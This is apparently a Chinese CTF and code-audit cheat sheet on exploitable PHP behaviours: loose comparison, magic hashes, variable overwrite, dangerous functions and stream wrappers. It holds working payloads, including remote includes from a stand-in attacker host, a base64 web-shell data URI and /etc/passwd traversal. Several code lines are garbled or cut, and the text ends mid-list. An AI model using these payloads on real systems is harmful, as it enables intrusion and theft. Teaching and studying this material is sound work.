梳理 PHP 语言中可被安全利用的各类特性,包括弱类型、变量覆盖、正则特性等。
1、弱类型与类型转换
1.1 PHP 类型系统概述
PHP 是弱类型语言,变量类型在运行时动态确定,且会在不同上下文中自动转换,这种隐式转换是大量安全漏洞的根源。
<?php
// PHP 基本类型
$i = 42; // integer
$f = 3.14; // float
$s = "hello"; // string
$b = true; // boolean
$n = null; // NULL
$a = [1, 2, 3]; // array
$o = stdClass; // object
1.2 字符串到数字的转换规则
<?php
// 字符串转整数:取前导数字部分,无数字则为 0
(int)"1abc" // → 1
(int)"abc" // → 0
(int)"0x1A" // → 0 (PHP 7+,不解析十六进制字符串)
(int)"010" // → 10 (十进制,非八进制!)
(int)" 42 " // → 42 (忽略空白)
(int)"1e3" // → 1 (注意:不会解析为1000)
// 字符串在数值运算中自动转换
"5" + 3 // → 8
"5 cats" + 3 // → 8,PHP 8 会报 Deprecated
"cats 5" + 3 // → 3
// 浮点数转换
(float)"1.5abc" // → 1.5
(float)"1e5" // → 100000.0
1.3 布尔值转换规则(重要!)
以下值转换为 false,其余均为 true:
<?php
// 转换为 false 的值
(bool) 0 // false
(bool) 0.0 // false
(bool) "" // false(空字符串)
(bool) "0" // false(字符串 "0"!)
(bool) [] // false(空数组)
(null // false
// 容易误判的真值
(bool) "false" // true!(非空非"0"字符串)
(bool) "0.0" // true!(不是"0")
(bool) " " // true!(有空格)
(bool) [] // false(空数组)
(bool) [0] // true(非空数组)
(bool) -1 // true(非零整数)
// CTF 利用场景
if ($input) {
// 传入 "false" → 条件为真!
// 传入 [] → 条件为假!
}
1.4 NULL 的类型转换
<?php
(null // false
(null // 0
(null // ""(空字符串)
(null // [](空数组)
// NULL 比较特性
false // true
null == 0 // true
null == "" // true
null == "0" // false(注意!)
false // false(严格比较)
null // true
2、比较运算特性
2.1 松散比较(==)vs 严格比较(===)
<?php
// ── 严格比较(===):类型和值都必须相同 ──
0 === false // false
"" === false // false
"1" === 1 // false
// ── 松散比较(==):先类型转换再比较 ──
// 这是漏洞的主要来源!
0 == false // true
0 == null // true
0 == "" // true(PHP 8 已修复!)
0 == "0" // true
0 == "foo" // true(PHP 7),false(PHP 8!)
"1" == true // true
"0" == false // true
false // true
null == "" // true
100 == "1e2" // true(科学计数法!)
0 == "a" // PHP 7: true | PHP 8: false(重要差异)
2.2 PHP 7 弱类型比较大表
<?php
// 数字字符串与整数比较(PHP 7)
"0" == false // true
"0" == null // false
"0" == 0 // true
"" == false // true
"" == null // true
"" == 0 // true(PHP 7!PHP 8 改为 false)
"php" == 0 // true(PHP 7!PHP 8 改为 false)
"1" == "01" // true(数字字符串比较)
"1" == "1.0" // true
"10" == "1e1" // true(科学计数法比较)
// 利用数字型字符串绕过
// PHP 7: 字符串与0比较,字符串先转整数
// "admin" → 0,所以 "admin" == 0 为 true
2.3 switch / case 使用松散比较
<?php
// switch 使用 == 进行比较!
$input = "a";
switch ($input) {
case 0: // "a" == 0 → true(PHP 7)
echo "matched 0!"; // 可能命中这里!
break;
case "a":
echo "matched a";
break;
}
// 利用场景
function getPage($page) {
switch ($page) {
return "home.php";
return "about.php";
return "404.php";
}
}
getPage("1 or 1=1"); // "1 or 1=1" == 1 → true,返回 home.php
2.4 in_array 的松散比较
<?php
// in_array 默认使用 == 比较
in_array(0, ["admin", "user"]) // true(PHP 7,"admin"==0)
in_array("1", [1, 2, 3]) // true
in_array(true, [""]) // false
in_array("", [false]) // true
in_array(0, [""]) // true
// 利用场景:白名单绕过
$whitelist = ["admin", "user", "guest"];
$role = $_GET['role']; // 传入 0
if (in_array($role, $whitelist)) {
// PHP 7 中 0 == "admin" → 条件为真!
grantAccess();
}
// 安全写法:使用严格模式
in_array($role, $whitelist, true) // 第三个参数为 true
2.5 strcmp / strcasecmp 特性
<?php
// strcmp 期望字符串参数
// 若传入数组,PHP 5.x 返回 NULL,== 0 为 true
strcmp("admin", []) // PHP 5.x → NULL
NULL == 0 // true
// PHP 7.1+ 会发出 Warning 但仍返回 NULL
// CTF 利用
if (strcmp($_GET['pass'], $secret_password) == 0) {
// 传入 pass[]=anything
// strcmp("secret", []) → NULL
// NULL == 0 → true,绕过密码验证!
}
// strcasecmp 同样受影响
strcasecmp("admin", []) // → NULL(PHP 5.x)
2.6 md5 / sha1 的数组绕过
<?php
// md5 / sha1 传入数组时返回 NULL(PHP < 8)
md5([]) // NULL + Warning
sha1([]) // NULL + Warning
// CTF 经典绕过
if (md5($_GET['a']) === md5($_GET['b']) && $_GET['a'] !== $_GET['b']) {
// 方法一:传入数组(松散比较场景)
// ?a[]=1&b[]=2 → md5([1])==NULL, md5([2])==NULL, NULL==NULL→true
// 但若用 ===,NULL === NULL → true(同样有效!)
echo "flag";
}
// 注意:PHP 8 中 md5([]) 抛出 TypeError!
2.7 科学计数法与哈希碰撞
<?php
// PHP 松散比较中,"0e..." 开头的字符串会被当作浮点数 0
"0e12345" == "0e99999" // true!(都等于 0^n = 0)
"0e12345" == 0 // true
// md5 "魔术哈希"(0e 开头)
// 以下字符串的 md5 值均以 0e 开头:
// "240610708" → md5 = 0e462097431906509019562988736854
// "QNKCDZO" → md5 = 0e830400451993494058024219903391
// "aabg7XSs" → md5 = 0e087386482136013740957780965295
// "aabC9RqS" → md5 = 0e041022518165728065344349536299
// "aaroZmOk" → md5 = 0e66507019969427134894567494305
// "aaK1STfY" → md5 = 0e76658526655756207688271159624022
if (md5($_GET['str']) == "0e830400451993494058024219903391") {
// 传入 "QNKCDZO" → md5 = "0e830400451993494058024219903391"
// 或传入任何 md5 以 0e 开头的字符串
echo "access granted";
}
// sha1 魔术哈希
// "aaO8zKZF" → sha1 = 0e89133099628337622361828853410190
// "sha1" . "10932435112" → 0e...
// sha256 0e 开头的碰撞也存在,但较难找
// 绕过双重 md5
if (md5(md5($_GET['str'])) == 0) {
// 找一个 md5 后的结果 md5 为 0e... 的字符串
}
3、变量覆盖
3.1 extract() 变量覆盖
<?php
// extract() 从数组中导入变量到当前符号表
// 如果键名与已有变量重名,默认覆盖!
$secret = "admin123";
extract($_GET); // ← 危险!
// 攻击:?secret=hacked
// $secret 被覆盖为 "hacked"
// 经典利用场景
$auth = false;
$role = "guest";
extract($_POST); // POST: auth=1&role=admin
if ($auth) {
// 可以以 admin 身份进入
grantAdminAccess($role);
}
// 更危险:覆盖数据库连接变量
$db_pass = "real_password";
extract($_GET);
// ?db_pass=hacked → 数据库密码被覆盖
// 安全写法:使用 EXTR_SKIP 避免覆盖
extract($_GET, EXTR_SKIP); // 跳过已存在的变量
extract($_GET, EXTR_PREFIX_ALL, "user"); // 为所有导入的变量加前缀
3.2 parse_str() 变量覆盖
<?php
// parse_str() 解析 URL 查询字符串,不指定第二个参数时直接写入当前作用域
$auth = false;
parse_str($_GET['data']); // 危险!直接覆盖当前变量
// 攻击:?data=auth=1
// $auth 被覆盖为 "1"(truthy)
// 另一个危险场景
$role = "user";
parse_str("role=admin&id=1"); // 直接修改 $role
// 带注入字符的利用
parse_str("a[0]=1&a[1]=2"); // 创建 $a = [0=>1, 1=>2]
// 安全写法:指定第二个参数(结果存入数组而非当前作用域)
parse_str($_GET['data'], $params);
echo $params['key']; // 安全,不会覆盖已有变量
3.3 $$(可变变量)覆盖
<?php
// 可变变量:变量名由另一个变量的值决定
$varname = "secret";
$$varname = "value"; // 等价于 $secret = "value"
// 危险场景:遍历用户输入设置变量
as $key => $value) {
$$key = $value; // 危险!用户可控任意变量
}
// 攻击:?auth=1&role=admin
// $auth = "1",$role = "admin"
// 实战利用
$config = ['db_pass' => 'secret'];
as $k => $v) {
$$k = $v; // POST: config[db_pass]=hacked
// $$k → $config = ['db_pass' => 'hacked'] 不一定
// 但 POST: config=xxx → $config = "xxx"(覆盖数组)
}
// import_request_variables()(PHP < 5.4)
import_request_variables("GP"); // 将 GET/POST 导入全局作用域
3.4 $GLOBALS 覆盖
<?php
// $GLOBALS 是超全局变量,包含所有全局变量的引用
$password = "secret";
$user_input = $_GET['var'];
// 利用 $GLOBALS 读取全局变量
echo $GLOBALS['password']; // 直接读取 $password
// 通过变量覆盖写入 $GLOBALS
$key = "password";
$GLOBALS[$key] = "hacked"; // 修改 $password
// extract 覆盖 GLOBALS
extract(["GLOBALS" => ["password" => "hacked"]]);
// 某些版本中会覆盖 $GLOBALS!
// register_globals 开启时(PHP < 5.4)
// GET/POST 参数自动变为全局变量
// ?auth=1 → $auth = "1"(无需任何代码)
4、字符串处理特性
4.1 字符串数字索引
<?php
// PHP 字符串可以像数组一样用数字索引访问
$str = "Hello";
echo $str[0]; // "H"
echo $str[-1]; // "o"(PHP 7.1+,负索引)
echo $str{0}; // "H"(PHP 7.4 已废弃,PHP 8 移除)
// 字符串与数组的模糊边界
$input = "admin";
echo $input[0]; // "a"
// 若期望数组但传入字符串,可能产生意外行为
// 利用:某些代码用 [0] 取第一个字符判断类型
if ($input[0] === '/') {
// 认为是路径,但 $input 是字符串
}
4.2 字符串连接与类型转换
<?php
// 点号连接符会将两边转为字符串
true; // "Result: 1"
false; // "Result: "
null; // "Result: "
echo "Result: " . []; // Warning + "Result: Array"
// 字符串中的变量插值
$cmd = "id";
$cmd"; // 普通变量
{$cmd}"; // 大括号写法
$arr[0]"; // 数组(不需要引号)
{$arr['key']}"; // 带引号的键需要大括号
// 单引号 vs 双引号
echo '$cmd'; // 字面量 "$cmd",不解析变量
$cmd"; // 解析变量,输出 "id"
$cmd"; // 输出变量名 + 内容,如 "idid"(可变变量)
4.3 strpos / strstr 特性
<?php
// strpos 返回位置,找不到返回 false
// 当匹配位置为 0 时,返回 0
// 0 == false 在松散比较中为 true!
$path = "/etc/passwd";
false) { // 危险!
echo "Safe path";
}
// strpos("/etc/passwd", "/etc") = 0
// 0 == false → true,被错误判断为"安全路径"!
// 安全写法:使用 === 严格比较
false) {
echo "Safe path";
}
// strstr 特性
strstr("admin@example.com", "@") // "@example.com"(从@开始的部分)
strstr("admin@example.com", "@", true) // "admin"(@之前的部分)
// 利用:邮箱验证绕过
$email = $_GET['email']; // 传入 "attacker@evil.com@trusted.com"
if (strstr($email, "@trusted.com")) {
// 通过验证,但实际邮件域是 evil.com
}
4.4 trim 与空白字符
<?php
// trim 默认去除的字符:
// " "(空格)\t \n \r \0 \x0B
// 但有些绕过技巧利用 trim 处理不了的字符
$input = "\x0c admin \x0c"; // 换页符
trim($input); // 仅去除默认字符,\x0c 不在默认列表
// 结果:"\x0c admin \x0c"(未完全清理)
// 利用场景:某些过滤只用 trim
$username = trim($_POST['username']);
// 传入 " admin" → trim → "admin"(预期)
// 传入 "admin\x00" → trim 不去除 \x00(非默认)
// \x00 空字节截断(PHP 旧版本)
$file = $_GET['file'];
readfile("/files/" . trim($file) . ".txt");
// 传入 "../../etc/passwd\x00"
// trim 不处理,\x00 截断 .txt → 读取 /etc/passwd
4.5 substr / str_replace 特性
<?php
// substr 负数索引
substr("Hello", -3) // "llo"
substr("Hello", 0, -1) // "Hell"
// 利用:某些代码用 substr(-4) 检测文件扩展名
$file = "shell.php.jpg";
$ext = substr($file, -4); // ".jpg",通过检测
// 但服务器可能按第一个扩展名处理
// str_replace 非递归
$input = "....//";
str_replace("../", "", $input);
// 结果:"../"(删除中间的 ../,留下两边合并的 ../)!
// 多次 str_replace 绕过
$input = "php://filter";
str_replace(["php", "filter"], "", $input);
// 一次性替换,不互相影响
// 若先替换 "php" → "://filter",再替换 "filter" → "://"
// 大小写绕过 str_ireplace
str_replace("PHP", "", "PHP") // ""(区分大小写)
str_ireplace("PHP", "", "pHp") // ""(不区分大小写)
// 绕过:若只用 str_replace,则 pHp → pHp(未被替换)
5、数字与进制特性
5.1 PHP 整数溢出
<?php
// PHP_INT_MAX 在 64 位系统上为 9223372036854775807
echo PHP_INT_MAX; // 9223372036854775807
echo PHP_INT_MAX + 1; // 9.2233720368548E+18(浮点数!)
echo PHP_INT_MIN; // -9223372036854775808
// 整数溢出利用
$price = $_GET['price']; // 传入极大数值
$total = $price * 100; // 溢出变成负数或浮点数
if ($total < 0) $total = 0; // 某些代码如此处理
// 浮点数精度问题
0.1 + 0.2 == 0.3 // false!
0.1 + 0.2 // 0.30000000000000002
5.2 进制表示利用
<?php
// PHP 支持多种数字字面量
$a = 0b1010; // 二进制:10
$b = 0o12; // 八进制:10(PHP 8.1+)
$c = 012; // 八进制:10(旧写法)
$d = 0x0A; // 十六进制:10
$e = 1_000_000; // 数字分隔符(PHP 7.4+):1000000
// 字符串进制转换
octdec("17") // 8进制 17 → 15
decoct(15) // 15 → "17"
hexdec("1f") // 16进制 1f → 31
dechex(31) // 31 → "1f"
bindec("1010") // 2进制 → 10
base_convert("1a", 16, 10) // → "26"
// 利用:绕过数字过滤
// 若过滤了数字字符,可用 PHP 进制转换函数
// base_convert(11, 10, 36) → "b"(字母)
// 用 base_convert 构造任意字符串
echo base_convert(10, 10, 36); // "a"
echo base_convert(35, 10, 36); // "z"
// 构造 "system" 不使用字母
// s=28, y=34, s=28, t=29, e=14, m=22(36进制)
// base_convert("28342914" + ... , 36, 10) 不直接,需分字符
5.3 NaN 与 INF
<?php
// INF(无穷大)和 NAN(非数字)
$inf = INF;
$nan = NAN;
$inf + 1 // INF
$inf == INF // true
is_nan($nan) // true
is_infinite($inf) // true
is_finite($inf) // false
// NAN 的特殊比较行为
NAN == NAN // false(NaN 不等于自身!)
NAN === NAN // false
is_nan(NAN) // true
// 利用
$price = (float)$_GET['price'];
if ($price == $price) { // NAN 传入时为 false
// 这个检查可能被绕过
}
6、危险函数特性
6.1 eval 与 assert
<?php
// ── eval ──
// 执行字符串作为 PHP 代码
eval("echo 'hello';");
// eval 不是函数,是语言结构,不能被变量调用
$f = 'eval';
$f("echo 1;"); // Fatal Error!eval 不能作为变量函数
// ── assert(PHP < 8.0)──
// PHP 5.x/7.x 中,assert(string) 相当于 eval
assert("system('id')"); // 直接执行命令!
// PHP 7 中 assert 仍是函数,可以作为回调
call_user_func('assert', "system('id')");
array_map('assert', ["system('id')"]);
// PHP 8 中 assert 不再执行字符串!
assert("1 == 1"); // PHP 8: 直接比较,不 eval
// ── create_function(PHP < 8.0)──
// 动态创建函数,本质上是 eval
$func = create_function('', "system('id');");
$func(); // 执行
// create_function 的代码注入
$code = $_GET['code'];
$func = create_function('$x', "return $code;");
// 攻击:?code=system('id');//
// 实际:return system('id');//;(双分号后面代码被注释)
6.2 preg_replace /e 修饰符(PHP < 7.0)
<?php
// /e 修饰符使替换字符串作为 PHP 代码执行(PHP 7.0 已废弃)
// 漏洞代码
$pattern = $_GET['pattern']; // 用户可控正则
$replace = $_GET['replace']; // 用户可控替换
$str = "Hello World";
preg_replace("/$pattern/e", $replace, $str);
// 攻击:
// pattern=(.*)
// replace=system('id')
// 更隐蔽的场景
preg_replace('/<b>(.*?)<\/b>/e', $replace, $html);
// 攻击 replace:$_GET[cmd] 或 system($_GET[cmd])
// PHP 7.0+ 的替代方案(安全)
preg_replace_callback('/<b>(.*?)<\/b>/', $m) {
return strtoupper($m[1]); // 使用回调函数,不执行任意代码
}, $html);
6.3 动态函数调用
<?php
// 变量函数:变量值作为函数名调用
$func = $_GET['func'];
$arg = $_GET['arg'];
$func($arg); // 危险!
// 攻击:?func=system&arg=id
// 数组回调
call_user_func($_GET['func'], $_GET['arg']);
call_user_func_array($_GET['func'], [$_GET['arg']]);
// 高阶函数回调
array_map($_GET['func'], [$_GET['arg']]);
array_filter([$_GET['arg']], $_GET['func']);
usort($arr, $_GET['func']);
// 利用:可以调用任何 PHP 函数
// ?func=phpinfo&arg=1
// ?func=system&arg=id
// ?func=file_get_contents&arg=/etc/passwd
// ?func=eval&arg=... (eval 不行,语言结构!)
// 对象方法调用
call_user_func([$obj, $_GET['method']], $_GET['arg']);
// 若能控制方法名,可调用对象的任意 public 方法
6.4 include / require 特性
<?php
// include / require 可以通过变量函数调用
$func = "include";
$func($_GET['file']); // 等价于 include($_GET['file'])
// 但 include 不能直接作为字符串回调
// call_user_func("include", "file.php"); // 不工作
// 包含外部 URL(需要 allow_url_include = On)
include "http://attacker.com/shell.txt";
include "ftp://attacker.com/shell.txt";
// 包含数据 URI
include "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+";
// 包含 PHP 流
include "php://input"; // POST 数据作为 PHP 执行
include "php://filter/convert.base64-encode/resource=config.php";
// 包含压缩文件
include "zip://upload.zip#shell.php";
include "phar://upload.phar/shell.php";
7、数组函数特性
7.1 array_search 与 in_array 松散比较
<?php
// array_search 默认使用松散比较
$users = [0 => 'admin', 1 => 'user', 2 => 'guest'];
array_search(0, $users) // 0(因为 0 == 'admin' 在 PHP 7 中)
array_search('admin', $users) // 0
array_search(false, $users) // 0(false == '' == 0 == 'admin')
// 利用:角色/权限检查绕过
$valid_roles = ['user', 'admin', 'superadmin'];
false) {
// 看似检查了角色,但...
// 传入 role=0 → 找到 'user'(位置0),返回0
// 0 !== false → true,通过检查
// 但 $_GET['role'] 是 "0",不是合法角色名!
}
7.2 数组与字符串的交互
<?php
// 数组转字符串
$arr = [1, 2, 3];
echo $arr; // Warning: Array to string conversion → "Array"
string)$arr; // "Array"
echo json_encode($arr); // "[1,2,3]"
echo implode(',', $arr); // "1,2,3"
// 数组参数绕过函数检测
// 许多期望字符串的函数传入数组时行为异常:
strlen([]) // Warning + null
substr([], 0) // Warning + false
md5([]) // Warning + null(PHP < 8)
sha1([]) // Warning + null(PHP < 8)
strcmp([], "str") // Warning + null
// 利用数组绕过过滤函数
$input = $_GET['input']; // 传入 input[]=payload
if (preg_match('/dangerous/', $input)) { // $input 是数组
die("blocked"); // preg_match 对数组返回 false + Warning
}
eval($input); // $input 是数组,eval 失败...不同版本行为不同
7.3 紧凑数组函数特性
<?php
// compact() 从当前符号表提取变量为数组
$name = "Alice";
$age = 20;
$data = compact("name", "age"); // ['name' => 'Alice', 'age' => 20]
// 利用:结合变量覆盖
extract($_GET); // 先用用户输入设置任意变量
$data = compact("role"); // 将被污染的变量打包
// array_splice 引用特性
$arr = [1, 2, 3, 4, 5];
$removed = array_splice($arr, 1, 2); // 修改原数组(引用传递)
// list() 与 [] 解构
[$a, $b, $c] = [1, 2, 3];
list($x, , $z) = [10, 20, 30]; // 跳过第二个元素
// 利用 list 覆盖变量
list($admin, $role) = explode(',', $_GET['input']);
// 输入:input=1,admin → $admin=1, $role="admin"
8、正则表达式特性
8.1 preg_match 返回值
<?php
// preg_match 返回值:
// 1 = 匹配成功
// 0 = 未匹配
// false = 错误(正则无效或发生错误)
// 注意:传入数组时返回 false,不是 0!
preg_match('/^\d+$/', []) // false(数组)
preg_match('/^\d+$/', "") // 0(空字符串,不匹配)
preg_match('/^\d+$/', "5") // 1(匹配)
// 利用:松散比较绕过
$input = $_GET['id'];
false) { // 危险!
die("Not a number");
}
// 传入 id[]=anything → preg_match 返回 false
// false == false → true → die
// 传入 id[]=attack → 通过检测?不是,这会导致 die
// 但如果逻辑是:
if (!preg_match('/dangerous/', $input)) {
eval($input); // 传入 input[]=anything → !false → true
}
8.2 正则回溯限制(ReDoS 与绕过)
<?php
// pcre.backtrack_limit 默认为 1000000
// 超过此限制,preg_match 返回 false!
$pattern = '/^(a+)+$/';
$input = str_repeat('a', 30) . '!';
$result = preg_match($pattern, $input);
// 超过回溯限制 → $result = false
// CTF 利用:绕过正则过滤
$blacklist_pattern = '/system|exec|passthru|phpinfo/i';
$input = $_GET['code'];
// 构造超长输入使回溯次数超过限制
$malicious = str_repeat('a', 1000000) . 'system("id")';
$result = preg_match($blacklist_pattern, $malicious);
// $result = false(超过回溯限制!)
if (!$result) {
eval($malicious); // 绕过过滤,执行命令!
}
// 检测当前回溯限制
echo ini_get('pcre.backtrack_limit');
// 临时修改(如果有权限)
ini_set('pcre.backtrack_limit', 1); // 降低限制使攻击更容易
8.3 正则模式特性
<?php
// ── s 修饰符:点号匹配换行 ──
preg_match('/admin.password/s', "admin\npassword") // 1
// ── m 修饰符:多行模式 ──
// ^ 和 $ 匹配每行的开始和结束
preg_match('/^admin$/m', "user\nadmin\ntest") // 1
// ── 利用 ^ 与 $ 的多行绕过 ──
$input = $_POST['username'];
if (preg_match('/^admin$/', $input)) {
// 不带 m 修饰符,^ 只匹配字符串开始,$ 只匹配字符串结束
// 但某些情况下开发者误用了 m 修饰符:
}
if (preg_match('/^[a-zA-Z0-9]+$/m', $input)) {
// 多行模式!传入 "safe\nsystem('id')"
// ^ 匹配第一行 "safe",通过检测!
// 但后面可能还有恶意代码
eval($input); // 实际执行了恶意代码
}
// ── i 修饰符绕过 ──
// 无 i 修饰符时,可以用大小写绕过关键词检测
preg_match('/system/', 'System') // 0(不匹配)
preg_match('/system/i', 'System') // 1(匹配)
9、哈希函数特性
9.1 MD5 碰撞与绕过
<?php
// ── 方法一:0e 魔术哈希 ──
// 以下字符串 md5 均以 0e 开头
$magic_md5 = [
"240610708", // md5 = 0e462097431906509019562988736854
"QNKCDZO", // md5 = 0e830400451993494058024219903391
"aabg7XSs", // md5 = 0e087386482136013740957780965295
"aabC9RqS", // md5 = 0e041022518165728065344349536299
"aaroZmOk", // md5 = 0e66507019969427134894567494305
"aaK1STfY", // md5 = 0e76658526655756207688271159624022
"aaO8zKZF", // md5 = 0e89130729658042533547011905060858
];
// 利用
if (md5($_GET['a']) == md5($_GET['b'])) {
// 传入两个 0e 开头的字符串
// ?a=QNKCDZO&b=240610708 → 两者 md5 均约等于 0 → 相等!
}
// ── 方法二:数组绕过(!==/== 下)──
md5([]) == md5([]) // NULL == NULL → true(松散)
md5([]) === md5([]) // NULL === NULL → true(严格,但两者相等)
// ── 方法三:md5 强碰撞(===)──
// 已知 MD5 碰撞对(十六进制字符串,二进制相同 MD5)
// 用于 md5($_a) === md5($_b) 且 $_a !== $_b
$a = "\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b = "\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
// md5($a) === md5($b) → true,$a !== $b → true
// 注:通过 URL 传输二进制需要 URL 编码,或通过文件上传传入
9.2 SHA1 与其他哈希特性
<?php
// SHA1 0e 魔术哈希
$magic_sha1 = [
"aaO8zKZF", // sha1 = 0e89130729658042533547011905060858(注:这同时也是md5的)
"sha1" => [
"10932435112", // sha1 = 0e07766915004133176347055865026311842794
"aaroZmOk", // sha1 = 0e66507019969427134894567494305
]
];
// hash_hmac 特性
hash_hmac('sha256', 'data', []) // PHP < 8:返回 false(密钥为数组)
// NULL 比较绕过(松散)
// password_verify 特性
password_verify([], $hash) // PHP < 7.4 可能返回 true(传入数组)
// crc32 整数溢出
$crc = crc32("string"); // 可能返回负整数(32 位溢出)
11、文件函数特性
10.1 file_get_contents 特性
<?php
// file_get_contents 支持多种协议(流包装器)
file_get_contents("http://attacker.com/"); // HTTP 请求(SSRF)
file_get_contents("file:///etc/passwd"); // 本地文件
file_get_contents("php://filter/convert.base64-encode/resource=index.php");
file_get_contents("data://text/plain,<?php system('id');?>"); // 数据 URI
// HTTP 上下文选项(绕过某些检查)
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => 'data=payload'
]
]);
file_get_contents("http://internal-api/endpoint", false, $ctx);
// 利用 file_get_contents 作为 SSRF
$url = $_GET['url'];
echo file_get_contents($url); // SSRF 入口
10.2 文件名处理特性
<?php
// basename 过滤路径(但有字符集问题)
basename("/etc/passwd") // "passwd"
basename("/var/www/html/") // ""(末尾斜杠)
basename("../../etc/passwd") // "passwd"(仅保留文件名部分)
// 但多字节字符可能绕过(locale 依赖)
// 在某些 locale 设置下,特殊 UTF-8 字节序列可能截断 basename 的处理
// pathinfo 特性
pathinfo("/path/to/file.php.jpg")
// ['dirname'=>'/path/to', 'basename'=>'file.php.jpg',
// 'extension'=>'jpg', 'filename'=>'file.php']
pathinfo("file.PHP")['extension'] // "PHP"(不自动转小写!)
// realpath 特性
realpath("/etc/./passwd") // "/etc/passwd"
realpath("/etc/../etc/passwd")// "/etc/passwd"
realpath("/nonexistent") // false(不存在返回 false)
// 利用:绕过路径白名单检查
$file = $_GET['file'];
die("blocked");
// 绕过:?file=/etc/./passwd(strpos 找不到,但 realpath 解析为 /etc/passwd)
10.3 文件上传函数特性
<?php
// move_uploaded_file 目标路径处理
// 若目标文件名以 \0 结尾,在 PHP < 5.4 中会截断
move_uploaded_file($tmp, "/uploads/file.php\0.jpg");
// PHP < 5.4:保存为 file.php(\0 截断 .jpg)!
// file_put_contents 的 flags
FILE_APPEND // 追加而非覆盖
LOCK_EX // 获取文件锁
// 目录穿越写文件
file_put_contents("/uploads/" . $_GET['filename'], "content");
// ?filename=../../var/www/html/shell.php
// 写入 Web 目录!
// 利用 php://output 等特殊目标
file_put_contents("php://memory", "data"); // 写入内存
11、PHP 版本差异特性
11.1 PHP 5 → PHP 7 重要变化
<?php
// ── 弱类型比较变化 ──
// PHP 5: "abc" == 0 → true
// PHP 7: "abc" == 0 → true(仍然!)
// PHP 8: "abc" == 0 → false(重大变化!)
// ── md5([]) 变化 ──
// PHP 5/7: md5([]) → null(返回 NULL,Warning)
// PHP 8: md5([]) → TypeError
// ── strcmp 数组变化 ──
// PHP 5: strcmp("a", []) → null(静默)
// PHP 7: strcmp("a", []) → null(Warning)
// PHP 8: strcmp("a", []) → TypeError
// ── assert 字符串执行变化 ──
// PHP 5/7: assert("system('id')") → 执行命令
// PHP 8: assert("system('id')") → 不执行(仅作布尔值)
// ── preg_replace /e 变化 ──
// PHP 5: 支持 /e 修饰符(执行替换字符串)
// PHP 7: 废弃(Deprecated Warning)
// PHP 8: 移除(错误)
11.2 PHP 8 新特性利用
<?php
// ── 命名参数(Named Arguments,PHP 8.0)──
$c"; }
test(c: 3, a: 1, b: 2); // "1 2 3"
// 利用:绕过参数顺序限制
// ── 联合类型(Union Types)──
void { ... }
// 可以传入 int 或 string,增加了弱类型边界
// ── 匹配表达式(Match,PHP 8.0)──
$result = true) {
$x == 1 => "one",
$x == 2 => "two",
default => "other"
};
// match 使用严格比较(===),不受弱类型影响!
// 但 match(0) { "abc" => ... } 不会匹配(PHP 8 改变了数字与字符串比较)
// ── Nullsafe 操作符(PHP 8.0)──
$result = $obj?->method()?->property;
// 若 $obj 为 null,返回 null 而非报错
// ── Fibers(PHP 8.1)──
$fiber = void {
$value = Fiber::suspend('first');
echo "Got: " . $value . PHP_EOL;
});
// 协程式执行,某些安全研究中可用于绕过执行流限制
11.3 PHP 特殊配置项
<?php
// register_globals(PHP < 5.4)
// 开启后 GET/POST 参数自动变为全局变量
// ini_get('register_globals')
// magic_quotes_gpc(PHP < 5.4)
// 开启后自动转义 GET/POST 中的特殊字符
// 可用 stripslashes() 还原,或用宽字节绕过
// allow_url_fopen
// 控制是否允许通过 URL 打开文件
echo ini_get('allow_url_fopen'); // 1 = On
// allow_url_include
// 控制是否允许 include/require 远程 URL
echo ini_get('allow_url_include'); // 0 = Off(默认)
// open_basedir
// 限制 PHP 可访问的文件路径
echo ini_get('open_basedir'); // 若设置,限制文件访问范围
// 绕过 open_basedir
// 方法1:symlink(创建符号链接到受限目录外)
// 方法2:glob:// 协议(某些版本可绕过)
// 方法3:chdir + ini_set(需要特定权限)
chdir("/tmp"); ini_set('open_basedir', '..');
chdir(".."); ini_set('open_basedir', '..');
// 逐层跳出 open_basedir 限制
12、CTF 常见考点速查
12.1 弱类型绕过速查
<?php
// ─── 场景:md5 / sha1 绕过 ───────────────────────
// 松散比较(==)用 0e 哈希
// ?a=QNKCDZO&b=240610708 (md5 均为 0e...)
// 严格比较(===)用强碰撞二进制
// 或用数组(PHP < 8):?a[]=1&b[]=2
// ─── 场景:strcmp 绕过 ────────────────────────────
// ?pass[]=anything
// strcmp("secret", []) → null == 0 → true
// ─── 场景:in_array 白名单绕过 ───────────────────
// 传入整数 0,与字符串比较 0 == "admin"(PHP 7)
// ─── 场景:switch 绕过 ───────────────────────────
// case 使用松散比较,传入 "0.0" 匹配 0
// ─── 场景:preg_match 绕过 ───────────────────────
// 传入数组:preg_match('/bad/', []) → false → !false → true
// 超长字符串导致回溯超限:preg_match → false
// ─── 场景:intval 绕过 ───────────────────────────
intval("1 union select") // → 1(取前导数字)
intval("0x1A") // → 0(PHP 7+)
// ─── 场景:is_numeric 特性 ───────────────────────
is_numeric("1337") // true
is_numeric("0x1A") // PHP 5: true | PHP 7+: false
is_numeric("1e5") // true(科学计数法!)
is_numeric("1.5") // true
is_numeric("3 ") // false(有空格)
is_numeric(" 3") // false(前导空格也不行)
// PHP 5 中 is_numeric("0x1A") 为 true,可用十六进制绕过
12.2 代码审计常见 Sink
<?php
// 需要重点关注的危险 Sink 函数
// ── RCE ──
system() exec() passthru() shell_exec() popen()
proc_open() pcntl_exec()
eval() assert() // (string) 参数
preg_replace() // /e 修饰符(PHP < 7)
create_function() call_user_func() call_user_func_array()
// ── 文件读取 ──
file_get_contents() file() readfile() fopen() fread()
highlight_file() show_source() require()
// ── 文件写入 ──
